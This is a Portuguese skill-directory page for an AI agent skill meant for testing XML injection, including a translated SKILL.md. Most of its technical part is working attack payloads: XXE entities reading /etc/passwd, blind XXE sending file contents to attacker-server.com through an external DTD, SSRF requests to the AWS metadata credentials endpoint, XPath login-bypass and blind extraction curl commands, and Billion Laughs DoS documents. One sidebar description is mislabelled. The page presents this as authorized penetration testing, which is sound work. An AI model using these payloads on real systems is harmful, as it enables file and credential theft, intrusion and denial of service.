testing-for-xml-injection-vulnerabilities
Ajuda seu agente a testar sites contra ataques de injeção XML. Ele procura por falhas que podem expor dados ou permitir que o site execute comandos indesejados. Essencial para proteger aplicações web.
O que ela faz
Esta ferramenta ajuda a encontrar falhas de segurança em sites e aplicativos que usam XML. Ela procura por maneiras de acessar informações que não deveriam ser expostas ou de fazer o servidor executar ações indesejadas.
Quando usar
- ✓Quando um site aceita arquivos ou dados em formato XML.
- ✓Ao testar a segurança de APIs que usam XML.
- ✓Ao verificar sistemas de login que usam XML para autenticação.
Exemplo do que pedir para a IA
“Verifique se o site `exemplo.com` tem vulnerabilidades de injeção XML.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta envia dados XML especialmente criados para o site. Se o site for vulnerável, ele pode revelar informações sensíveis ou permitir que o atacante controle partes do servidor.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-xml-injection-vulnerabilitiesOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-for-xml-injection-vulnerabilities/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Testando Vulnerabilidades de Injeção de XML
Quando Usar
- Ao testar aplicações que processam entrada XML (APIs SOAP, XML-RPC, uploads de arquivos)
- Durante testes de penetração de aplicações com parsers XML
- Ao avaliar implementações de autenticação baseadas em SAML
- Ao testar funcionalidades de importação/exportação de arquivos que lidam com formatos XML
- Durante testes de segurança de APIs de serviços web baseados em SOAP ou XML
Pré-requisitos
- Burp Suite com extensões relacionadas a XML (Content Type Converter, XXE Scanner)
- XMLLint ou ferramentas similares de validação XML
- Compreensão da estrutura XML, DTDs e processamento de entidades
- Python 3.x com as bibliotecas lxml e requests
- Acesso a um servidor de interação out-of-band (Burp Collaborator, interact.sh)
- Exemplos de payloads XXE do repositório PayloadsAllTheThings
Fluxo de Trabalho
Passo 1 — Identificar Endpoints de Processamento XML
# Look for endpoints accepting XML content types
# Content-Type: application/xml, text/xml, application/soap+xml
# Check WSDL files for SOAP services
curl -s http://target.com/service?wsdl
# Test if endpoint accepts XML by changing Content-Type
curl -X POST http://target.com/api/data \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><root><test>hello</test></root>'
# Check for XML file upload functionality
# Look for .xml, .svg, .xlsx, .docx file processing
Passo 2 — Testar XXE Básico (Recuperação de Arquivo)
<!-- Basic XXE to read local files -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
<!-- Windows file retrieval -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><data>&xxe;</data></root>
<!-- Using PHP wrapper for base64-encoded file content -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root><data>&xxe;</data></root>
Passo 3 — Testar XXE Cego com Detecção Out-of-Band
<!-- Out-of-band XXE using external DTD -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker-server.com/xxe.dtd">
%xxe;
]>
<root><data>test</data></root>
<!-- External DTD file (xxe.dtd hosted on attacker server) -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker-server.com/?data=%file;'>">
%eval;
%exfil;
<!-- DNS-based out-of-band detection -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://xxe-test.burpcollaborator.net">
]>
<root><data>&xxe;</data></root>
Passo 4 — Testar SSRF via XXE
<!-- Internal network scanning via XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root><data>&xxe;</data></root>
<!-- AWS metadata endpoint access -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&xxe;</data></root>
<!-- Internal port scanning -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-server:8080/">
]>
<root><data>&xxe;</data></root>
Passo 5 — Testar Injeção XPath
# Basic XPath injection in search parameters
curl "http://target.com/search?query=' or '1'='1"
# XPath authentication bypass
curl -X POST http://target.com/login \
-d "username=' or '1'='1&password=' or '1'='1"
# XPath data extraction
curl "http://target.com/search?query=' or 1=1 or ''='"
# Blind XPath injection with boolean-based extraction
curl "http://target.com/search?query=' or string-length(//user[1]/password)=8 or ''='"
curl "http://target.com/search?query=' or substring(//user[1]/password,1,1)='a' or ''='"
Passo 6 — Testar XML Billion Laughs (DoS)
<!-- Ataque Billion Laughs (use apenas em testes autorizados) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root><data>&lol4;</data></root>
<!-- Ataque de explosão quadrática -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY a "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>
…
Perguntas frequentes
O que é XXE?
XXE significa 'XML External Entity'. É um tipo de ataque que explora como o site processa informações XML, permitindo que o atacante leia arquivos no servidor ou faça o servidor se conectar a outros sistemas.
O que é Injeção XPath?
É um ataque onde o invasor insere comandos maliciosos em consultas XPath (usadas para navegar em dados XML) para obter acesso não autorizado ou manipular dados.
Isso pode danificar meu site?
Se usado incorretamente ou em um ambiente de produção sem autorização, sim. Esta ferramenta é para testes de segurança em ambientes controlados e autorizados.
Detalhes
Descrição original do autor
Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6227
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
cpp-testing
Faz seu agente escrever e melhorar testes para código C++. Ajuda a configurar ferramentas de teste e a corrigir erros.
affaan-m/ECC
csharp-testing
Ajuda seu agente a criar testes para código C# e .NET. Ele usa as melhores práticas para garantir que os testes sejam eficientes e confiáveis.
affaan-m/ECC
django-tdd
Faz seu agente aplicar estratégias de teste para Django com pytest-django e TDD. É útil para escrever testes robustos e garantir a qualidade do código, especialmente para APIs DRF.
affaan-m/ECC